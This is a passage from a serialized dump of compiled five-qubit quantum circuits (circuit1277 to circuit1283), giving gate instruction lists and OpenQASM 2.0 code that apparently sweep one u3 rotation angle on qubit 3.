'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1277', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1279', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1281', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1283', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 